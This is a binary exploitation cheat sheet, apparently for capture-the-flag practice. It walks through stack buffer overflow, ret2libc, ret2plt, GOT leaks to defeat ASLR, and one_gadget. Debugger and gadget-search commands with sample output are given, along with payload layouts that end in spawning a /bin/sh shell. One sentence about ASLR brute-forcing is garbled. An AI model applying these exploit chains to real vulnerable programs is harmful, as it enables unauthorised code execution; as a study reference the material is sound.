Binary Exploitation Cheatsheet by stunn4

These cheatsheets are conceived to show a list of techniques in order to keep in mind what always to do

---

Checklist

1. Play with the program
2. try format string and a lot of chars
3. check functions/sections in the binary
4. reverse the binary to understand its behavior
5. checksec and think about a strategy

Misc

calling convention

description	x86_32	x64
syscall	eax - int 0x80	rax - syscall
parameters	ebx,ecx,edx,esi,edi,ebp	rdi,rsi,rdx,rcx,r8,r9

gdb stack allign

`unset env LINES`
`unset env COLUMNS`

Vanilla Buffer Overflow

```
Canary                          : No
NX                              : No
PIE                             : No
Fortify                         : No
RelRO                           : No
```

A vanilla buffer overflow can be managed by using a shellcode.
You may look at badchars.

---

ret2libc (linux) - https://en.wikipedia.org/wiki/Return-to-libc_attack

```
Canary                          : No
NX                              : Yes
PIE                             : No
Fortify                         : No
RelRO                           : Partial
```

Keep in mind ASLR will randomize libc addresses.
A 32-bit linux address can be bruteforced, so ASLR would work if ASLR is enabled too.

`gdb -q ./tool`

`p system`
`$1 = {int (const char *)} 0xf7dfc8b0 <__libc_system>`

`p exit`
`$2 = {void (int)} 0xf7def2c0 <__GI_exit>`

`search-pattern /bin/sh`
`In '/usr/lib/i386-linux-gnu/libc-2.30.so'(0xf7f2e000-0xf7f9d000), permission=r--`
`0xf7f4742d - 0xf7f47434 → "/bin/sh"`

```
So, your payload should be as follow:
junk + system_address + exit_address + shell_address
```

---

ret2plt

```
Canary                        : No
NX                            : Yes
PIE                           : No
Fortify                       : No
RelRO                         : Partial
```

ret2plt is a valid option when NX and ASLR are enabled.
if you find ASLR enabled you should find either /bin/sh in the tool itself or a leak.

`objdump -D -j .plt tool | grep \@plt`
`0x0000000000401110 strncpy@plt`
`0x0000000000401120 strcpy@plt`
`0x0000000000401130 puts@plt`
`0x0000000000401140 strlen@plt`
`0x0000000000401150 __stack_chk_fail@plt`
`0x0000000000401160 printf@plt`
`0x0000000000401170 fgets@plt`
`0x0000000000401180 inet_pton@plt`
`0x0000000000401190 fflush@plt`
`0x00000000004011a0 execvp@plt`
`0x00000000004011b0 exit@plt`
`0x00000000004011c0 setuid@plt`
`0x00000000004011d0 fork@plt`
`0x00000000004011e0 strstr@plt`

your target can be execvp@plt 0x4011a0
`int execvp(const char *file, char *const argv[]);`

Another thing you need is gadget
`ROPgadget --binary tool | grep 'pop rdi'`
`0x0000000000401923 : pop rdi ; ret`

`ROPgadget --binary tool | grep 'pop rsi'`
`0x0000000000401921 : pop rsi ; pop r15 ; ret`

and sh string (in this case sh is in the binary itself, so it is not randomize each time it runs)
`search-pattern sh`
`0x40058e - 0x400590 → "sh"`

```
So your payload should be as follow:
junk + pop_rdi_address + shell_address + pop_rsi_r15 + 0x0 + 0x0 + execvp_plt_address
```

---

leak GOT to get libc base address

```
Canary                        : No
NX                            : Yes
PIE                           : No
```

```
Fortify                         : No
RelRO                           : Partial
```

leak GOT to calculate the libc base address is a good way to bypass ASLR and NX.
the idea is to call puts@plt in order to leak a GOT address in order to get the libc base address by a simple subtraction.

get puts@plt address

```
objdump -D -j .plt bitterman | grep \@plt
0x400520 <puts@plt>
```

get puts@got address

```
objdump -M intel -d bitterman | grep puts
400520: ff 25 2a 07 20 00 jmp QWORD PTR [rip+0x20072a] # 600c50 <puts@GLIBC_2.2.5>
```

get pop rdi ; ret gadget

```
ROPgadget --binary bitterman | grep 'pop rdi ; ret'
0x400853 : pop rdi ; ret
```

to avoid ASLR effects get the main (or another) address to return after leak

```
gdb -q ./tool
p main
$1 = {int (int, char **)} 0x4006ec <main>
```

the payload that allows you to leak puts@got is as follow:

```
junk + pop_rdi + puts_got + puts_plt + main
```

now you get the address of libc puts from the libc used by the binary.
if this is a remote challenge search a libc database to find the correct version of libc.
to get, for example, the system@libc:

```
readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system
1425: 0x554e0 45 FUNC WEAK DEFAULT 16 system@@GLIBC_2.2.5
```

```
libc_base_address = puts_got - puts_libc
libc_system = p64(0x554e0 + libc_base_address)
```

you can reuse this logic to get '/bin/sh' string from the same libc
the payload then will work as follow:

```
junk + pop_rdi + shell_libc + system_libc
```

---

one gadget

in some scenarios I tried to exploit a binary using a leak but that didn't work so can be a good idea to try one gadget. (see SiXes)
after you get the libc base address you can try to see the constraints of your libc.

```
one_gadget /lib/x86_64-linux-gnu/libc.so.6
```

```
0xc84da execve("/bin/sh", r12, r13)
constraints:
  [r12] == NULL || r12 == NULL
  [r13] == NULL || r13 == NULL

0xc84dd execve("/bin/sh", r12, rdx)
constraints:
  [r12] == NULL || r12 == NULL
```

```
  [rdx] == NULL || rdx == NULL

0xc84e0 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL

0xe664b execve("/bin/sh", rsp+0x60, environ)
constraints:
  [rsp+0x60] == NULL
```

the best condition that you can exploit is the last one.

`one_gadget = p64(libc_base_address + 0xe664b)`